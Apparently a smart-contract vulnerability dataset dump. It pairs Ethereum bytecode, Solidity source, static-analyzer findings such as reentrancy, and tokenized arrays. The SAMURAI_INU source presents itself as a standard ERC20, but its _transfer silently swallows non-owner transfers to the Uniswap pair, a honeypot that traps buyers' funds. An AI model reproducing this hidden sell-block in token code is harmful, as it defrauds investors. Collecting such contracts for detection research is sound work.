6000612bf384828501612bba565b91505092915050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000612c58602483612396565b9150612c6382612bfc565b604082019050919050565b60006020820190508181036000830152612c8781612c4b565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b6000612cea602283612396565b9150612cf582612c8e565b604082019050919050565b60006020820190508181036000830152612d1981612cdd565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b6000612d7c602583612396565b9150612d8782612d20565b604082019050919050565b60006020820190508181036000830152612dab81612d6f565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b6000612e0e602383612396565b9150612e1982612db2565b604082019050919050565b60006020820190508181036000830152612e3d81612e01565b9050919050565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b6000612ea0602983612396565b9150612eab82612e44565b604082019050919050565b60006020820190508181036000830152612ecf81612e93565b9050919050565b6000612ee1826124b8565b9150612eec836124b8565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115612f2157612f20612934565b5b828201905092915050565b6000612f37826124b8565b9150612f42836124b8565b925082821015612f5557612f54612934565b5b828203905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000612f9a826124b8565b9150612fa5836124b8565b925082612fb557612fb4612f60565b5b828204905092915050565b6000612fcb826124b8565b9150612fd6836124b8565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561300f5761300e612934565b5b828202905092915050565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b6000613076602a83612396565b91506130818261301a565b604082019050919050565b600060208201905081810360008301526130a581613069565b9050919050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b6130e18161247a565b82525050565b60006130f383836130d8565b60208301905092915050565b6000602082019050919050565b6000613117826130ac565b61312181856130b7565b935061312c836130c8565b8060005b8381101561315d57815161314488826130e7565b975061314f836130ff565b925050600181019050613130565b5085935050505092915050565b600060a08201905061317f6000830188612564565b61318c6020830187612ab9565b818103604083015261319e818661310c565b90506131ad606083018561282f565b6131ba6080830184612564565b9695505050505050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b60006131fa601b83612396565b9150613205826131c4565b602082019050919050565b60006020820190508181036000830152613229816131ed565b9050919050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b600061328c602183612396565b915061329782613230565b604082019050919050565b600060208201905081810360008301526132bb8161327f565b905091905056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212206367877e2b54eb3c64626de98ec22f6c7d2b9326d675c3189117d2d1bdf1159a64736f6c634300080c0033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
true
null
{'detectors': [{'check': 'reentrancy-eth', 'impact': 'High', 'confidence': 'Medium'}, {'check': 'divide-before-multiply', 'impact': 'Medium', 'confidence': 'Medium'}, {'check': 'unused-return', 'impact': 'Medium', 'confidence': 'Medium'}]}
[ 101, 1014, 2595, 2683, 26187, 2581, 2575, 2509, 19797, 2581, 2683, 22022, 2581, 2620, 24434, 2094, 28154, 22203, 21084, 2549, 2546, 2549, 2497, 2683, 2546, 2581, 2575, 2094, 2575, 2509, 2546, 16932, 22407, 2683, 1013, 1008, 1008, 8299, 1024, 1013, 1013, 7479, 1012, 4419, 2378, 2226, 1012, 5658, 16770, 1024, 1013, 1013, 1056, 1012, 2033, 1013, 4419, 2378, 13094, 2278, 1008, 1013, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1022, 1012, 2260, 1025, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 4895, 13231, 27730, 10061, 3206, 6123, 1063, 3853, 1035, 5796, 5620, 10497, 2121, 1006, 1007, 4722, 3193, 7484, 5651, 1006, 4769, 1007, 1063, 2709, 5796, 2290, 1012, 4604, 2121, 1025, 1065, 1065, 8278, 29464, 11890, 11387, 1063, 3853, 21948, 6279, 22086, 1006, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,183
0x965800dd9c5086d18e833caf92d600c9e25ebe12
// SPDX-License-Identifier: MIT pragma solidity ^0.7.0; import "./ERC20.sol"; contract Token is ERC20 { constructor () ERC20("Remot Token", "Rat") { _mint(msg.sender, 1000000 * (10 ** uint256(decimals()))); } }
0x608060405234801561001057600080fd5b50600436106100a95760003560e01c80633950935111610071578063395093511461025857806370a08231146102bc57806395d89b4114610314578063a457c2d714610397578063a9059cbb146103fb578063dd62ed3e1461045f576100a9565b806306fdde03146100ae578063095ea7b31461013157806318160ddd1461019557806323b872dd146101b3578063313ce56714610237575b600080fd5b6100b66104d7565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156100f65780820151818401526020810190506100db565b50505050905090810190601f1680156101235780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61017d6004803603604081101561014757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610579565b60405180821515815260200191505060405180910390f35b61019d610597565b6040518082815260200191505060405180910390f35b61021f600480360360608110156101c957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506105a1565b60405180821515815260200191505060405180910390f35b61023f61067a565b604051808260ff16815260200191505060405180910390f35b6102a46004803603604081101561026e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610691565b60405180821515815260200191505060405180910390f35b6102fe600480360360208110156102d257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610744565b6040518082815260200191505060405180910390f35b61031c61078c565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561035c578082015181840152602081019050610341565b50505050905090810190601f1680156103895780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6103e3600480360360408110156103ad57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061082e565b60405180821515815260200191505060405180910390f35b6104476004803603604081101561041157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506108fb565b60405180821515815260200191505060405180910390f35b6104c16004803603604081101561047557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610919565b6040518082815260200191505060405180910390f35b606060038054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561056f5780601f106105445761010080835404028352916020019161056f565b820191906000526020600020905b81548152906001019060200180831161055257829003601f168201915b5050505050905090565b600061058d610586610a28565b8484610a30565b6001905092915050565b6000600254905090565b60006105ae848484610c27565b61066f846105ba610a28565b61066a8560405180606001604052806028815260200161101360289139600160008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610620610a28565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610ee89092919063ffffffff16565b610a30565b600190509392505050565b6000600560009054906101000a900460ff16905090565b600061073a61069e610a28565b8461073585600160006106af610a28565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546109a090919063ffffffff16565b610a30565b6001905092915050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b606060048054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156108245780601f106107f957610100808354040283529160200191610824565b820191906000526020600020905b81548152906001019060200180831161080757829003601f168201915b5050505050905090565b60006108f161083b610a28565b846108ec856040518060600160405280602581526020016110846025913960016000610865610a28565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610ee89092919063ffffffff16565b610a30565b6001905092915050565b600061090f610908610a28565b8484610c27565b6001905092915050565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600080828401905083811015610a1e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610ab6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260248152602001806110606024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610b3c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526022815260200180610fcb6022913960400191505060405180910390fd5b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610cad576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602581526020018061103b6025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610d33576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526023815260200180610fa86023913960400191505060405180910390fd5b610d3e838383610fa2565b610da981604051806060016040528060268152602001610fed602691396000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610ee89092919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610e3c816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546109a090919063ffffffff16565b6000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3505050565b6000838311158290610f95576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015610f5a578082015181840152602081019050610f3f565b50505050905090810190601f168015610f875780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5082840390509392505050565b50505056fe45524332303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f206164647265737345524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa2646970667358221220aaa9ddb7f271a5741558b69370185e690cd8197f20949b3ec5707cfc5ef5676b64736f6c63430007000033
{"success": true, "error": null, "results": {}}
true
null
{}
[ 101, 1014, 2595, 2683, 26187, 17914, 2692, 14141, 2683, 2278, 12376, 20842, 2094, 15136, 2063, 2620, 22394, 3540, 2546, 2683, 2475, 2094, 16086, 2692, 2278, 2683, 2063, 17788, 15878, 2063, 12521, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 10210, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1021, 1012, 1014, 1025, 12324, 1000, 1012, 1013, 9413, 2278, 11387, 1012, 14017, 1000, 1025, 3206, 19204, 2003, 9413, 2278, 11387, 1063, 9570, 2953, 1006, 1007, 9413, 2278, 11387, 1006, 1000, 2128, 18938, 19204, 1000, 1010, 1000, 9350, 1000, 1007, 1063, 1035, 12927, 1006, 5796, 2290, 1012, 4604, 2121, 1010, 6694, 8889, 2692, 1008, 1006, 2184, 1008, 1008, 21318, 3372, 17788, 2575, 1006, 26066, 2015, 1006, 1007, 1007, 1007, 1007, 1025, 1065, 1065, 100, 102, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0 ]
59,184
0x96580518555577268974637cd0ac8a23fa5d46ae
pragma solidity >=0.6.6; interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function burn(uint256 amount) external; function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); function burnFrom(address account, uint256 amount) external; event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } interface IUniswapV2Factory { event PairCreated(address indexed token0, address indexed token1, address pair, uint); function feeTo() external view returns (address); function feeToSetter() external view returns (address); function getPair(address tokenA, address tokenB) external view returns (address pair); function allPairs(uint) external view returns (address pair); function allPairsLength() external view returns (uint); function createPair(address tokenA, address tokenB) external returns (address pair); function setFeeTo(address) external; function setFeeToSetter(address) external; } interface IUniswapV2Pair { event Approval(address indexed owner, address indexed spender, uint value); event Transfer(address indexed from, address indexed to, uint value); function name() external pure returns (string memory); function symbol() external pure returns (string memory); function decimals() external pure returns (uint8); function totalSupply() external view returns (uint); function balanceOf(address owner) external view returns (uint); function allowance(address owner, address spender) external view returns (uint); function approve(address spender, uint value) external returns (bool); function transfer(address to, uint value) external returns (bool); function transferFrom(address from, address to, uint value) external returns (bool); function DOMAIN_SEPARATOR() external view returns (bytes32); function PERMIT_TYPEHASH() external pure returns (bytes32); function nonces(address owner) external view returns (uint); function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external; event Mint(address indexed sender, uint amount0, uint amount1); event Burn(address indexed sender, uint amount0, uint amount1, address indexed to); event Swap( address indexed sender, uint amount0In, uint amount1In, uint amount0Out, uint amount1Out, address indexed to ); event Sync(uint112 reserve0, uint112 reserve1); function MINIMUM_LIQUIDITY() external pure returns (uint); function factory() external view returns (address); function token0() external view returns (address); function token1() external view returns (address); function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast); function price0CumulativeLast() external view returns (uint); function price1CumulativeLast() external view returns (uint); function kLast() external view returns (uint); function mint(address to) external returns (uint liquidity); function burn(address to) external returns (uint amount0, uint amount1); function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external; function skim(address to) external; function sync() external; function initialize(address, address) external; } interface IUniswapV2Router01 { function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidity( address tokenA, address tokenB, uint amountADesired, uint amountBDesired, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB, uint liquidity); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); function removeLiquidity( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB); function removeLiquidityETH( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountToken, uint amountETH); function removeLiquidityWithPermit( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountA, uint amountB); function removeLiquidityETHWithPermit( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountToken, uint amountETH); function swapExactTokensForTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapTokensForExactTokens( uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB); function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut); function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn); function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts); function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts); } interface IUniswapV2Router02 is IUniswapV2Router01 { function removeLiquidityETHSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountETH); function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountETH); function swapExactTokensForTokensSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function swapExactETHForTokensSupportingFeeOnTransferTokens( uint amountOutMin, address[] calldata path, address to, uint deadline ) external payable; function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; } contract SAMURAI_INU is IERC20 { using SafeMath for uint256; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; uint256 private _initialSupply = 1e15*1e18; string private _name = "SAMURAI INU"; string private _symbol = "SINU"; uint8 private _decimals = 18; address private routerAddy = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; // uniswap address private dead = 0x000000000000000000000000000000000000dEaD; address private vitalik = 0xAb5801a7D398351b8bE11C439e05C5B3259aeC9B; address private gate = 0x0D0707963952f2fBA59dD06f2b425ace40b492Fe; address private pairAddress; address private _owner = msg.sender; constructor () { _mint(address(this), _initialSupply); _transfer(address(this), vitalik, _initialSupply*25/100); _transfer(address(this), dead, _initialSupply*50/100); _transfer(address(this), gate, _initialSupply*5/100); } modifier onlyOwner() { require(isOwner(msg.sender)); _; } function isOwner(address account) public view returns(bool) { return account == _owner; } /** * @dev Returns the name of the token. */ function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _totalSupply; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(msg.sender, recipient, amount); return true; } function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } function add_liq() public payable onlyOwner { IUniswapV2Router02 uniswapV2Router = IUniswapV2Router02(routerAddy); pairAddress = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH()); _approve(address(this), address(uniswapV2Router), _initialSupply); uniswapV2Router.addLiquidityETH{value: msg.value}( address(this), _initialSupply*20/100, 0, // slippage is unavoidable 0, // slippage is unavoidable _owner, block.timestamp ); } function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(msg.sender, spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, msg.sender, _allowances[sender][msg.sender].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function burn(uint256 amount) public virtual override { _burn(msg.sender, amount); } function burnFrom(address account, uint256 amount) public virtual override { uint256 decreasedAllowance = allowance(account, msg.sender).sub(amount, "ERC20: burn amount exceeds allowance"); _approve(account, msg.sender, decreasedAllowance); _burn(account, amount); } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(msg.sender, spender, _allowances[msg.sender][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(msg.sender, spender, _allowances[msg.sender][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); if(sender == _owner || sender == address(this) || recipient == address(this)) { _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } else if (recipient == pairAddress){ } else{ _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } } function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _setupDecimals(uint8 decimals_) internal { _decimals = decimals_; } function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } receive() external payable {} }
0x6080604052600436106100ec5760003560e01c806342966c681161008a57806395d89b411161005957806395d89b411461025e578063a457c2d714610273578063a9059cbb14610293578063dd62ed3e146102b3576100f3565b806342966c68146101f457806370a082311461021657806376c11b941461023657806379cc67901461023e576100f3565b806323b872dd116100c657806323b872dd146101725780632f54bf6e14610192578063313ce567146101b257806339509351146101d4576100f3565b806306fdde03146100f8578063095ea7b31461012357806318160ddd14610150576100f3565b366100f357005b600080fd5b34801561010457600080fd5b5061010d6102d3565b60405161011a9190610d84565b60405180910390f35b34801561012f57600080fd5b5061014361013e366004610cb4565b610365565b60405161011a9190610d79565b34801561015c57600080fd5b5061016561037b565b60405161011a9190610f5d565b34801561017e57600080fd5b5061014361018d366004610c74565b610381565b34801561019e57600080fd5b506101436101ad366004610c04565b6103ea565b3480156101be57600080fd5b506101c76103fe565b60405161011a9190610f66565b3480156101e057600080fd5b506101436101ef366004610cb4565b610407565b34801561020057600080fd5b5061021461020f366004610cdf565b61043d565b005b34801561022257600080fd5b50610165610231366004610c04565b61044a565b610214610465565b34801561024a57600080fd5b50610214610259366004610cb4565b6106de565b34801561026a57600080fd5b5061010d61072a565b34801561027f57600080fd5b5061014361028e366004610cb4565b610739565b34801561029f57600080fd5b506101436102ae366004610cb4565b610788565b3480156102bf57600080fd5b506101656102ce366004610c3c565b610795565b6060600480546102e290610fe2565b80601f016020809104026020016040519081016040528092919081815260200182805461030e90610fe2565b801561035b5780601f106103305761010080835404028352916020019161035b565b820191906000526020600020905b81548152906001019060200180831161033e57829003601f168201915b5050505050905090565b6000610372338484610839565b50600192915050565b60025490565b600061038e8484846108ed565b6103e084336103db85604051806060016040528060288152602001611091602891396001600160a01b038a16600090815260016020908152604080832033845290915290205491906107ff565b610839565b5060019392505050565b600b546001600160a01b0390811691161490565b60065460ff1690565b3360008181526001602090815260408083206001600160a01b038716845290915281205490916103729185906103db90866107c0565b6104473382610ae0565b50565b6001600160a01b031660009081526020819052604090205490565b61046e336103ea565b61047757600080fd5b6000600660019054906101000a90046001600160a01b03169050806001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b1580156104ca57600080fd5b505afa1580156104de573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906105029190610c20565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561054a57600080fd5b505afa15801561055e573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906105829190610c20565b6040518363ffffffff1660e01b815260040161059f929190610d24565b602060405180830381600087803b1580156105b957600080fd5b505af11580156105cd573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906105f19190610c20565b600a60006101000a8154816001600160a01b0302191690836001600160a01b031602179055506106243082600354610839565b806001600160a01b031663f305d7193430606460035460146106469190610fac565b6106509190610f8c565b600b546040516001600160e01b031960e087901b16815261068693929160009182916001600160a01b0316904290600401610d3e565b6060604051808303818588803b15801561069f57600080fd5b505af11580156106b3573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906106d89190610cf7565b50505050565b600061070e826040518060600160405280602481526020016110b9602491396107078633610795565b91906107ff565b905061071b833383610839565b6107258383610ae0565b505050565b6060600580546102e290610fe2565b600061037233846103db856040518060600160405280602581526020016110dd602591393360009081526001602090815260408083206001600160a01b038d16845290915290205491906107ff565b60006103723384846108ed565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b6000806107cd8385610f74565b9050838110156107f85760405162461bcd60e51b81526004016107ef90610e5c565b60405180910390fd5b9392505050565b600081848411156108235760405162461bcd60e51b81526004016107ef9190610d84565b5060006108308486610fcb565b95945050505050565b6001600160a01b03831661085f5760405162461bcd60e51b81526004016107ef90610f19565b6001600160a01b0382166108855760405162461bcd60e51b81526004016107ef90610e1a565b6001600160a01b0380841660008181526001602090815260408083209487168084529490915290819020849055517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925906108e0908590610f5d565b60405180910390a3505050565b6001600160a01b0383166109135760405162461bcd60e51b81526004016107ef90610ed4565b6001600160a01b0382166109395760405162461bcd60e51b81526004016107ef90610dd7565b610944838383610725565b6109818160405180606001604052806026815260200161106b602691396001600160a01b03861660009081526020819052604090205491906107ff565b6001600160a01b03808516600081815260208190526040902092909255600b541614806109b65750600